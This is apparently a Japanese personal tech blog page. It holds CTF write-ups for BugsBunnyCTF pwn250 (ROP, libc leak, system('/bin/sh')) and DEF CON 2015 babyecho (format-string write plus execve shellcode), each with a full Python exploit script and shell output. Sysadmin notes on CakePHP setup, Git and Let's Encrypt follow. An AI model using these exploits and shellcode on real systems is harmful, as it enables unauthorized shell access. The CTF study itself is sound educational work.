のいじーメモ

勉強したことを忘れないうちにメモしていくためのブログ

BugsBunnyCTF pwn250 writeup

競技中には手をつけていなくて解けなかったんですが競技終了後に挑戦したら解けたのでwriteupを残そうと思います。

 

 libcが渡されている問題です。

まずはセキュリティ機構の確認

f:id:neko0206:20170802130231p:plain

次は動かしてみます

f:id:neko0206:20170802130654p:plain

f:id:neko0206:20170802130709p:plain

BOFの問題ですね。

続いてディスアセンブルしてみます

f:id:neko0206:20170802130903p:plain

f:id:neko0206:20170802130917p:plain

スタックを0x80分確保していてreadで入力された値がスタックの1番上に格納されるということがわかりました。

writeが使えるのでこれを使ってGOTの__libc_start_mainのlibcアドレスをリークしてそこからオフセットでlibcのベースアドレスを求めようと考えます。writeは引数が3つ必要でx86_64のバイナリは引数がrdi,rsi,rdxになるのでスタックから各レジスタにpopしてくれるようなガジェットを探します。

f:id:neko0206:20170802130324p:plain

f:id:neko0206:20170802130454p:plain

return先はhere関数にしてもう一度readさせます。 そのあとsystem("/bin/sh")を起動させるのですが、systemを呼んだ時に

f:id:neko0206:20170802125046p:plain

このようにcall __GI___sigactionのときにスタックがrodataを指してしまいSEGVしてしまいました。これは上書きしたsaved ebpの値(今回はbss+0x100)が小さかったために起きてしまったので、もう少し大きな値へ書き換えることで解決しました。

最終的なエクスプロイトコードはこちら

#!/usr/bin/python
# -*- coding: utf-8 -*-

import __main__, os, sys, struct, socket, telnetlib, subprocess, time

from libformatstr import FormatStr

proc = ''
s = ''
 
def local(cmd):
    __main__.proc = subprocess.Popen(cmd.strip().split(' '))
    proc.wait()

def pipelocal(cmd):
    __main__.proc = subprocess.Popen(cmd.strip().split(' '), stdin=subprocess.PIPE, stdout=subprocess.PIPE)

# socat tcp-listen:4444,reuseaddr,fork exec:./a.out &
def sock(remoteip="127.0.0.1", remoteport=4444):
    __main__.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((remoteip, remoteport))
    time.sleep(0.5)

def splitn(data, n):
    length = len(data)
    return [data[i:i+n] for i in range(0, length, n)]

def writefile(buf_arg,file_name):
    with open(file_name, 'wb') as f:
        f.write(buf_arg)

def recv(delim='\n', out=1):
    data = ''
    while not data.endswith(delim):
        data += s.recv(1)
    if(out == 1):
        print('\nrecv: \n' + data + '\n')
    return data

def recvn(x=1024, out=1):
    data = ''
    data += s.recv(x)
    if(out == 1):
        print('\nrecv: \n' + data + '\n')
    return data

def send(x, sleep=0.3, out=1):
    s.sendall(x + '\n')
    if(out == 1):
        print('\nsend: \n' + x + '\n')
    time.sleep(sleep)

def u(x):
    return struct.unpack("<I",x[:4])[0]

def u64(x):
    return struct.unpack("<Q",x[:8])[0]

def p(x):
    return struct.pack("<I",x)

def p64(x):
    return struct.pack("<Q",x)

def shell():
    if(s != ''):
        #print('---- interactive mode ----')
        t= telnetlib.Telnet()
        t.sock = s
        t.interact()
    elif(p != ''):
        print('---- interactive mode ----')
        proc.wait()

def xxd(a):
    a = str(a)
    hexdump.hexdump(a)

def read(delim="\n", out=1):
    data = ''
    while not data.endswith(delim):
        data += proc.stdout.readlne(1)
    if(out == 1):
        print('\nread: \n' + data + '\n')
    return data

def readn(num=1024, out=1):
    data = ''
    while(num>0):
        data += proc.stdout.read(1)
        num = num-1
    if(out == 1):
        print('\nread: \n' + data + '\n')
    return data

sc_execve32 = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
sc_execve64 = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
dup2_execve32 = "\x31\xd2\x31\xc9\x8d\x5a\x04\x8d\x42\x3f\xcd\x80\x41\x8d\x42\x3f\xcd\x80\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
dup2_execve64 = "\x31\xd2\x31\xf6\x67\x8d\x7a\x04\x67\x8d\x42\x21\x0f\x05\xff\xc6\x67\x8d\x42\x21\x0f\x05\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05"
#-----------START EXPLOIT CODE-----------#
got_libc_start_main = 0x601028
write = 0x400436
read = 0x400446
bss = 0x601040
offset_libc = 0x020740
offset_system = 0x045390
offset_binsh = 0x18cd17
sock()
raw_input("enter")

buf = "A" * 0x80
buf += p64(bss + 0x300)
buf += p64(0x0040056a)  # pop rdi; pop rsi; pop rdx; ret
buf += p64(1)
buf += p64(got_libc_start_main)
buf += p64(8) 
buf += p64(write)
buf += p64(0x400575) # :	lea    rax,[rbp-0x80]
send(buf)

line = recvn()
libc_main_addr = u64(line)

libc_base = libc_main_addr - offset_libc

buf = "A" * 0x88
buf += p64(0x00400633)  # pop rdi; ret
buf += p64(libc_base + offset_binsh)
buf += p64(libc_base + offset_system)

send(buf)
send(buf)
shell()

プロセスが開いているファイルディスクリプタを確認する方法

    ll /proc/[pid]/fd

DEF CON CTF Qualifier 2015 babyecho Writeup

strippedなバイナリを解析するのは初めてだったので大変だった。 解いたあと、他の人のwriteupを見てこんな感じのプログラムだったんだ...解析力すげえ...ってなってた。

まずはfileコマンドで調べてみる。

root@ubuntu:~/pwn/babyecho# file babyecho 
babyecho: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=c9a66685159ad72bd157b521f05a85e2e427f5ee, stripped

32bit,静的リンクかつstrippedなバイナリということがわかる。

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

セキュリティ機構はなにもついていない。 次に実行してみる。

root@ubuntu:~/pwn/babyecho# ./babyecho 
Reading 13 bytes
aaaaa
aaaaa
Reading 13 bytes
aaaaaaaaaaaaaa
aaaaaaaaaaaa
Reading 13 bytes
a
Reading 13 bytes
AAAA %7$x 
AAAA 41414141

fsbがあり、indexが7であることがわかった。 fsbがあるけど13バイトしか読み込んでくれないのでなんとかして、読み込むバイト数を増やしたい。

[----------------------------------registers-----------------------------------]
EAX: 0xffffd17c --> 0x0 
EBX: 0x80481a8 (push   ebx)
ECX: 0xffffffff 
EDX: 0x80eb4d4 --> 0x0 
ESI: 0x0 
EDI: 0x80ea00c --> 0x8067f00 (mov    edx,DWORD PTR [esp+0x4])
EBP: 0xffffd588 --> 0x80497d0 (push   ebx)
ESP: 0xffffd160 --> 0xffffd17c --> 0x0 
EIP: 0x8048ff7 (call   0x8048e24)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048fec:	mov    DWORD PTR [esp+0x4],eax
   0x8048ff0:	lea    eax,[esp+0x1c]
   0x8048ff4:	mov    DWORD PTR [esp],eax
=> 0x8048ff7:	call   0x8048e24
   0x8048ffc:	lea    eax,[esp+0x1c]
   0x8049000:	mov    DWORD PTR [esp],eax
   0x8049003:	call   0x8048ecf
   0x8049008:	lea    eax,[esp+0x1c]
Guessed arguments:
arg[0]: 0xffffd17c --> 0x0 
arg[1]: 0xd ('\r')
arg[2]: 0xa ('\n')
[------------------------------------stack-------------------------------------]
0000| 0xffffd160 --> 0xffffd17c --> 0x0 
0004| 0xffffd164 --> 0xd ('\r')
0008| 0xffffd168 --> 0xa ('\n')
0012| 0xffffd16c --> 0x0 
0016| 0xffffd170 --> 0xd ('\r')
0020| 0xffffd174 --> 0xffffd17c --> 0x0 
0024| 0xffffd178 --> 0x0 
0028| 0xffffd17c --> 0x0 
[------------------------------------------------------------------------------]

fgets関数っぽいところの第二引数を書き換えることを考える。

gdb-peda$ x/20wx $esp
0xffffd160:	0xffffd17c	0x0000000d	0x0000000a	0x00000000
0xffffd170:	0x0000000d	0xffffd17c	0x00000000	0x41414141
0xffffd180:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffd190:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffd1a0:	0x00000000	0x00000000	0x00000000	0x00000000

indexが1のアドレスが第二引数の部分なのでそこを書き換えようとしてみる。まずebpとespのオフセットを計算して ebpとespのアドレスをリークし、 esp+1のところを大きい数値に書き換えてみたが、書き込めるバイト数が増えなかった。

もう一度fgets付近を見てみる。

[----------------------------------registers-----------------------------------]
EAX: 0x11 
EBX: 0x80481a8 (push   ebx)
ECX: 0xffffffff 
EDX: 0x80eb4d4 --> 0x0 
ESI: 0x0 
EDI: 0x80ea00c --> 0x8067f00 (mov    edx,DWORD PTR [esp+0x4])
EBP: 0xffffd588 --> 0x80497d0 (push   ebx)
ESP: 0xffffd160 --> 0x80be5f1 ("Reading %d bytes\n")
EIP: 0x8048fe8 (mov    eax,DWORD PTR [esp+0x10])
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048fd4:	mov    DWORD PTR [esp],0x80be5f1
   0x8048fdb:	call   0x804f560
   0x8048fe0:	mov    DWORD PTR [esp+0x8],0xa
=> 0x8048fe8:	mov    eax,DWORD PTR [esp+0x10]
   0x8048fec:	mov    DWORD PTR [esp+0x4],eax
   0x8048ff0:	lea    eax,[esp+0x1c]
   0x8048ff4:	mov    DWORD PTR [esp],eax
   0x8048ff7:	call   0x8048e24
[------------------------------------stack-------------------------------------]
0000| 0xffffd160 --> 0x80be5f1 ("Reading %d bytes\n")
0004| 0xffffd164 --> 0xd ('\r')
0008| 0xffffd168 --> 0xa ('\n')
0012| 0xffffd16c --> 0x0 
0016| 0xffffd170 --> 0xd ('\r')
0020| 0xffffd174 --> 0xffffd17c --> 0x0 
0024| 0xffffd178 --> 0x0 
0028| 0xffffd17c --> 0x0 
[------------------------------------------------------------------------------]

[esp+0x10]から[esp+0x4]にコピーしているので[esp+0x10]を書き換えなければいけないことがわかった。 あとはさっきの要領でesp+10のところを大きい数値に書き換えて入力文字数を増やしたら、あとはシェルコードぽいー

#!/usr/bin/python
# -*- coding: utf-8 -*-

import __main__, os, sys, struct, socket, telnetlib, subprocess, time

from libformatstr import FormatStr

#import hexdump

proc = ''
s = ''
 
def local(cmd):
    __main__.proc = subprocess.Popen(cmd.strip().split(' '))
    proc.wait()

def pipelocal(cmd):
    __main__.proc = subprocess.Popen(cmd.strip().split(' '), stdin=subprocess.PIPE, stdout=subprocess.PIPE)

# socat tcp-listen:4444,reuseaddr,fork exec:./a.out &
def sock(remoteip="127.0.0.1", remoteport=4444):
    __main__.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((remoteip, remoteport))
    time.sleep(0.5)

def splitn(data, n):
    length = len(data)
    return [data[i:i+n] for i in range(0, length, n)]

def writefile(buf_arg,file_name):
    with open(file_name, 'wb') as f:
        f.write(buf_arg)

def recv(delim='\n', out=1):
    data = ''
    while not data.endswith(delim):
        data += s.recv(1)
    if(out == 1):
        print('\nrecv: \n' + data + '\n')
    return data

def recvn(x=1024, out=1):
    data = ''
    data += s.recv(x)
    if(out == 1):
        print('\nrecv: \n' + data + '\n')
    return data

def send(x, sleep=0.3, out=1):
    s.sendall(x + '\n')
    if(out == 1):
        print('\nsend: \n' + x + '\n')
    time.sleep(sleep)

def u(x):
    return struct.unpack("<I",x[:4])[0]

def u64(x):
    return struct.unpack("<I",x[:8])[0]

def p(x):
    return struct.pack("<I",x)

def p64(x):
    return struct.pack("<Q",x)

def shell():
    if(s != ''):
        #print('---- interactive mode ----')
        t= telnetlib.Telnet()
        t.sock = s
        t.interact()
    elif(p != ''):
        print('---- interactive mode ----')
        proc.wait()

def read(delim="\n", out=1):
    data = ''
    while not data.endswith(delim):
        data += proc.stdout.readlne(1)
    if(out == 1):
        print('\nread: \n' + data + '\n')
    return data

def readn(num=1024, out=1):
    data = ''
    while(num>0):
        data += proc.stdout.read(1)
        num = num-1
    if(out == 1):
        print('\nread: \n' + data + '\n')
    return data

sc_execve32 = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
sc_execve64 = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"

#-----------START EXPLOIT CODE-----------#

offset_ebp = 0x30c
index = 7
sock()
recvn()

buf = "%%%d$08x" % (index + 0x200/4)
send(buf)
ebp_addr = int(recvn()[:8],16)
esp_addr = ebp_addr - offset_ebp

buf = "%%%d$08x" % (index - 0x18/4)
send(buf)
recvn()
buf = p(esp_addr + 0x10 ) + "%99c%7$n"
send(buf)
recvn()
buf = p(esp_addr + 0x10 ) + "%1023c%7$n"
send(buf)
recvn()

buf = p(esp_addr + 0x42c)
buf += p(esp_addr + 0x42c+1)
buf += p(esp_addr + 0x42c+2)
buf += p(esp_addr + 0x42c+3)
buf += p(esp_addr + 0x18)
buf += sc_execve32
a = map(ord, p(esp_addr + 0x1c+20))
b = 1
b = ((b-a[3]-1) % 0x100) + 1
a[3] = ((a[3]-a[2]-1) % 0x100) + 1
a[2] = ((a[2]-a[1]-1) % 0x100) + 1
a[1] = ((a[1]-a[0]-1) % 0x100) + 1
a[0] = ((a[0]-len(buf)-1) % 0x100) + 1

buf += "%%%dc%%%d$hhn" % (a[0], index)
buf += "%%%dc%%%d$hhn" % (a[1], index+1)
buf += "%%%dc%%%d$hhn" % (a[2], index+2)
buf += "%%%dc%%%d$hhn" % (a[3], index+3)
buf += "%%%dc%%%d$hhn" % (b, index+4)

send(buf)
shell()
send: 
��������������������1�Rh//shh/bin��RS���B
                                         %132c%7$hhn%230c%8$hhn%90c%9$hhn%15c%10$hhn%2c%11$hhn

  g
Reading 1023 bytes
������������Rh//shh/bin��RS���B
                                                                                                                                                                                                                                                                                                                                                                                                      
                                                                                                       �
id
uid=0(root) gid=0(root) groups=0(root)

format string attackのやり方については 下記URLを参考にした。 http://inaz2.hatenablog.com/entry/2014/04/30/173618

Centos7でcakephp3を自動インストール

#!/bin/sh
DOCUMENT_ROOT='/var/www/html'    //ドキュメントルート
APP_DIR='cake'                   //cakeのディレクトリ
DB_USER='root'                   //mysql user
DB_NAME='test'                   //cakeで使用するDB名
DB_PASSWORD=''          //mysqlのログインパスワード

yum update -y
yum install -y epel-release zip unzip
rpm -Uvh http://rpms.famillecollet.com/enterprise/remi-release-7.rpm
yum install -y --enablerepo=remi,remi-php70 php php-devel php-mbstring php-ldap php-mysql php-pdo php-gd php-cli php-opcache php-mcrypt php-intl
yum install -y mysql mariadb-server httpd git

systemctl enable httpd
systemctl enable mariadb
systemctl start httpd
systemctl start mariadb

#cakephp インストーcurl -sS https://getcomposer.org/installer | php
mv composer.phar /usr/local/bin/composer
mkdir $DOCUMENT_ROOT/$APP_DIR

composer create-project --prefer-dist cakephp/app $DOCUMENT_ROOT/$APP_DIR <<EOS
Y
Y
EOS


firewall-cmd --add-service=http --permanent
firewall-cmd --reload
#disable SElinux
setenforce 0
sed -i -e 's/SELINUX=enforcing/SELINUX=disabled/' /etc/selinux/config

#cakeの設定
sed -i -e "s/\/\/date_default_timezone_set('\(.*\)')/date_default_timezone_set('Asia\/Tokyo')/" $DOCUMENT_ROOT/$APP_DIR/config/bootstrap.php


#config/app.php
#	Datasourcesのところ
#	'username' => 'root',
#	'password' => '',
#	'database' => 'test',
#	'timezone' => 'Asia/Tokyo',

cp $DOCUMENT_ROOT/$APP_DIR/config/app.default.php $DOCUMENT_ROOT/$APP_DIR/config/app.php
sed -ie "232 s/my_app/$DB_USER/" $DOCUMENT_ROOT/$APP_DIR/config/app.php
sed -ie "233 s/secret/$DB_PASSWORD/" $DOCUMENT_ROOT/$APP_DIR/config/app.php
sed -ie "234 s/my_app/$DB_NAME/" $DOCUMENT_ROOT/$APP_DIR/config/app.php
sed -ie "s/__SALT__/hogefugavar/" $DOCUMENT_ROOT/$APP_DIR/config/app.php

sed -ie "236 s/UTC/Asia\/Tokyo/" $DOCUMENT_ROOT/$APP_DIR/config/app.php

mysql_tzinfo_to_sql /usr/share/zoneinfo | mysql -u $DB_USER mysql

echo \
"<Directory \"$DOCUMENT_ROOT/$APP_DIR\">
	Options FollowSymLinks
	AllowOverride All
</Directory>" > /etc/httpd/conf.d/${APP_DIR}.conf

ubuntuでpwn環境構築

CTFのバイナリ解析環境構築メモ

x86_64用

#!/bin/bash
apt-get install -y git

# x86バイナリを動かす為のパッケージ
dpkg --add-architecture i386
apt-get update
apt-get install libc6:i386 libncurses5:i386 libstdc++6:i386
apt-get install gcc-multilib g++-multilib

# radare2
git clone https://github.com/radare/radare2
sh radare2/sys/install.sh

# ELF解析用
apt-get install binutils
 
# ROPガジェット用
wget https://github.com/0vercl0k/rp/releases/download/v1/rp-lin-x64 \
&& wget https://github.com/0vercl0k/rp/releases/download/v1/rp-lin-x86 \
&& chmod +x rp-lin-x64 rp-lin-x86 \
&& mv rp-lin-x64 rp-lin-x86 /usr/local/bin
 
# リモート用
apt-get install socat
 
# gdb-peda
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit

x86

#!/bin/bash

apt-get install -y git
# ELF解析用
apt-get install binutils

# radare2
git clone https://github.com/radare/radare2
sh radare2/sys/install.sh
# ROPガジェット用
wget https://github.com/downloads/0vercl0k/rp/rp-lin-x86
chmod +x rp-lin-x86; mv rp-lin-x86 /usr/local/bin
 
# リモート用
apt-get install socat
 
# gdb-peda
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit

Windows Server 2012 R2でGitサーバーを構築した時のトラブルシューティング


リモートリポジトリからgit cloneができない。

 

サーバー側で正常に動いているのに外部からできないのはネットワーク周りが原因だろうという予測のもと、もう一度clone時のパケットをwiresharkで覗いているとやはりcloneの途中(upload-pack.exe実行時?)でRSTが返されている。

これについて調べていると、TCPReplayをというツールを間にかませることで解決できたという記事を見かけたので試したところトラブルの解決に至った。
Gitのupload-packの通信方法が原因っぽい?

以下git daemonの立ち上げ順序です

git daemon を立ち上げる

git daemon --verbose --export-all --enable=receive-pack --base-path=C:¥Users¥Administrator¥Desktop --port=9417


TCPReplayを実行

cd C:¥Users¥Administrator¥Desktop¥TCPRelay-master¥bin¥Debug
TCPRelay.exe 0.0.0.0 9418 127.0.0.1 9417

TCPReplayのビルド方法(.NET Framework2.0必須)まず.NET Framework2.0の導入

コントロールパネル→プログラム→Windowsの機能の有効化または無効化

.NET Framework 3.5 Featuresにチェック

インストー

TCPReplayのダウンロード
https://github.com/HiraokaHyperTools/TCPRelay

C:¥Windows¥Microsoft.NET¥Framework64¥v2.0.50727¥MSBuild.exe C:¥Users¥Administrator¥Desktop¥TCPRelay-master¥TCPRelay.csproj /t:build

MSBuildのパスとTCPReplayのパスは自分の環境に合わせる

コンパイル後の実行ファイルはここらへんにあるはず
C:¥Users¥Administrator¥Desktop¥TCPRelay-master¥bin¥Debug

git push時に

Writing objects: 100%

くらいまで出た後止まる場合(windowsのGitのバグらしい)

git config --global sendpack.sideband false

 

Let's Encrypt で証明書を自動更新する方法

certbotをclone

$ cd /usr/local/
$ git clone https://github.com/certbot/certbot

Let's Encrypt クライアントが依存するパッケージをインストー

$ cd certbot/
$ ./certbot-auto -n

証明書の取得

$ ./certbot-auto certonly --webroot \
-w /var/www/example -d example.com \
-m sample@example.com \
--agree-tos -n

 

 

オプション

certonly
 証明書の取得のみを行います。デフォルト値は「run」で、証明書の取得とApache等のSSL設定もやってくれるそうですが、まだうまく動かないことが多いようです。

--webroot
 ApacheなどWEBサーバのドキュメントルートに、認証用ファイルを生成します。ドキュメントルート直下に「.well-known/」というディレクトリが作成され、この中に生成されているようです。証明書の取得が終われば、この認証用ファイルは削除されます。稼働しているWEBサーバがない場合(メールサーバなど)は --standalone を指定すると良いでしょう。

-w
 ドキュメントルートのパスを指定します。Apacheの場合は、DocumentRoot で指定しているパスです。

-d
 証明書を取得するドメイン名を指定します。Apacheの場合は、ServerName で指定しているドメイン名です。

-m
 ご自分のメールアドレスを指定します。なにかトラブルがあった場合などに Let's Encrypt との連絡用に使用されます。また、証明書の更新期限が近づくと、ここで指定したメールアドレス宛に、お知らせメールが届きます。

--agree-tos
 Let's Encrypt の利用規約に同意します。事前に利用規約https://letsencrypt.org/repository/」を確認しておきましょう。

-n
 --non-interactive の省略オプションです。対話メッセージの表示や入力を求められないようにできます。
 

自動更新をする

    $crontab -e
    00 05 01 * * /usr/local/certbot/certbot-auto renew --force-renewal &&  nginx -s reload